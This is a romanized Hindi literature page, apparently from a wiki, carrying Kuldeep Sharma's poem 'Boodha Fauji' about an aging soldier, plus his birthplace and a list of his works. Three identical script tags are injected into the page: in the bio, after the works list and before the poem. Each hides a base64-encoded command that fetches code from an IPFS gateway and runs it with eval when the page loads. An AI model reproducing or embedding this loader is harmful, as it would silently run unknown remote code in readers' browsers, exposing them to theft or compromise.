बूढ़ा फौजी -कुलदीप शर्मा

boodha phauji -kuladip sharma |200px|center kavi kuladip sharma janm sthan (una, himachal pradesh) bahari k diyaan adhikarik vebasait inhean bhi dekhean kavi soochi, sahityakar soochi <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kuladip sharma ki rachanaean chil (1) -kuladip sharma arziyaan -kuladip sharma koee nahian janata -kuladip sharma ghar -kuladip sharma kal ke lie -kuladip sharma bazar ke bich maian -kuladip sharma atank -kuladip sharma sanvad -kuladip sharma vah adami -kuladip sharma gaandhari se sanvad (1) -kuladip sharma gaandhari se sanvad (2) -kuladip sharma nithari -kuladip sharma pravasi pakshi/ kooanj -kuladip sharma boodha phauji -kuladip sharma l aauphtar klab -kuladip sharma raja -kuladip sharma azadi ki poorv sandhya par -kuladip sharma azadi ki poorv sandhya par (2) -kuladip sharma du:kh -kuladip sharma solah siangi dhar -kuladip sharma <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>   javani ke dinoan ka raubadar photo pahachan patr par chipakae kaiantin ki laeen mean kh da boodha fauji dhooandh raha hai apane hisse ki sharab jise dega vah daroga ko taki surakshit rahe usake hisse ki zamin boodha fauji farq nahian kar pa raha desh aur zamin mean pahachan patr par chhape tin sher chupake se usake kan mean phooank rahe haian ek mantr aur vah taiyari kar raha hai apane khilaph,ek l daee ki koee dekh nahian paega jisaka raktapat n har jit़ nirantar boodha hota ja raha hai fauji nirantar krooratar hoti ja rahi hai l daee samay apani hatheliyoan mean utha laya hai do tin sadiyoan ke chuninda namoone kuchh bhi chuno yuddhavihin nahian hai ek bhi sadi yuddhavihin nahian hai ek bhi pal़ sach to yah hai ki sabase bhishan yuddh l da gaya sabase shant aur nistabdh kshanoan mean jaise phool l date haian apane jivan ki sabase b di l daee ghor basant samay mean jaise pe d l date haian hava s़e bij l data hai mitti s़e yuddh se bache hue ve sare shastr jo barasoan se p de haian kuand, anachhue chubhate haian boodhe fauji ko vah nahian kah pata kisi se kitani l daiyaan harane ke bad ho jata hai adami roopantarit ek aitihasik smarak mean jahaan ek samaroh ki tarah manaya jata hai itihas mean usaka adami hona akhirakar yah bhoolane ke lie ki ek bar kitani sharmindagi se lauta tha vah ghऱ apani purani bandook ko har roz saf karata hai ek zaroori aur pavitr dinacharya ki tarah phir kili par taang deta hai shiv ji ke kalaindar ki bagal mean boodha fauji yantravat ratata hua-‘kandhe shastr’ aur usake samane se niahsankoch guzar jata hai har roj baeek ka bhoanda h aaurn bajata p dosi ka avara l daka़ k aaulej jati kanya bura nahian manati bi di choosate mazadooroan ki phabtiyoan ka samane hi ek thulathul stri mobaeel kan se satae hansati rahati hai़ yuddhanitiyoan mean itane b de badalav ke bad boodha fauji kabhi nahian chalaega bandook ho sakata hai vah chale bhi nahian vakte zaroorat par vah jan tak de sakata hai bandook ke lie bandook ka hona usake lie pi da aur anyay ke khilaph ek lalakar hai़ boodha fauji anayas a gaya hai un logoan ke bich jo samajhate haian ki ve jit ae haian sari l daeeyaan jaise ab jit -har ka koee arth n ho unake jivan mean jo kabhi l de hi nahian un hare hue logoan ke bich boodha fauji dhire-dhire apani jit ke tamam kisse bhoolata ja raha hai़ vah kaise batae unhean ki jivan mean se l daee kharij karake bhi kitani kharab l daee l d rahe haian ve sab ! udhar fauj se laute log le ae haian apani jeboan mean karagil ke kisse simapar ki kahaniyaan aur shesh jivan ke lie painshan ve ate hi masarooph ho ge haian sthaniy rajaniti mean sikh ge haian asainik chaturaeeyaan khetoan ki mean d par havi hai unaka dabadaba pe doan ka akar kar rahe haian simabaddh bachchoan ke lie juta rahe haian arakshit kota nirdharit kar rahe haian sabake sukh boodha fauji lauta hai l daee se vah l dana chahata hai har hal man-apaman, jay-parajay ki chianta kie bagaiऱ jahaan charadivariyoan se ghira hai har surakshit ghar boodha fauji vahaan bhi dharati par khianchata hai har roz ek lakir aur chunauti deta hai ki ise laangh kar dikhae koee atyachar koee anyay़ isi desh, inhian logoan se bada hai usaka bhagy desh aur bhagy mean kuchh bhi chunana sanbhav nahian hai usake lie़   amooman ve sare bhale log tij tyauharoan par karate haian haisiyat se tho da zyada kharch aur kudhate hai sal bhऱ apane hisse ki khushi talash lete haian dukhati ragoan se hath bachate hue aise logoan ke bich boodha fauji bhool gaya hai tark ka svad boodha fauji jab taiyar kar raha hota hai din bhar ki l daeeyoan ki soochiyaan ve log nikal jate haian sair ka rozana niyam nibhane! boodhe fauji ke lie nahian bache haian vikalp dasaka ghar ho gaya hai khandak mean tabdil sangit bhi usake kanoan mean bajata hai hootar ki tarah ve sari l daeeyaan jo zaroori thi aur l di nahian geean usake sapanoan mean ati haian sab ve sari l daeeyaan jinhean bhoolakar log bita dete haian poora jivan tamashabin ki tarah udasin ki tarah़ jo har l daee har kar khush rahana sikh ge haian jinake lie khushamad har khatare ke khilaf ek achook upay hai jinake lie gay ‘mata’ hai aur mata ‘gay’ hai़ jinake chehare par shanti bhi darati hai buri tarah jinaki muskan bhi kar deti hai bechain aise logoan ke khilaph kabhi nahian l d paega boodha fauji़ jahaan sabhi yuddh nakali haian dale ge sare hathiyar asali़ tirange ko salami dene badh rahi hai javano ki ek taza tuk di aur boodhe fauji ki m aauansapeshiyoan mean badh raha hai tanav ki naummidi ke is ghor ghatatop mean itani kam sanbhavanaoan ke bavajood bakayada muskura rahe haian pradhanamantri buletaprooph shishe ki ot mean fauji ke adhatoote daantoan mean jane kab se phansi hai achar ki ek phaank khokhale andolanoan nitiyoan aur naroan ke bich phanse lokatantr ki tarah jo halka sa svad de rahi hai purani smritiyoan ka achar jise usaki m aauan banana janati thi lokatantr jise neharoo chalana janate th़e vah smritiyoan mean tatol raha hai vyatit samay ki ek bhor jab jadoobhare to the shabd bahuarthi bilkul nahian dushaman nahian tha chehara vihin aur har l daee ujale mean l di jati thi़ boodha fauji jo l daee ke atirikt kuchh nahian janata pas rakhi bandook ke bavajood bilkul nihattha ho gaya hai usase chhin li gee hai l daee pahachan ke sare surag mitakar as-pas rakh diye haian dushman hi dushman--

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sanbandhit lekh

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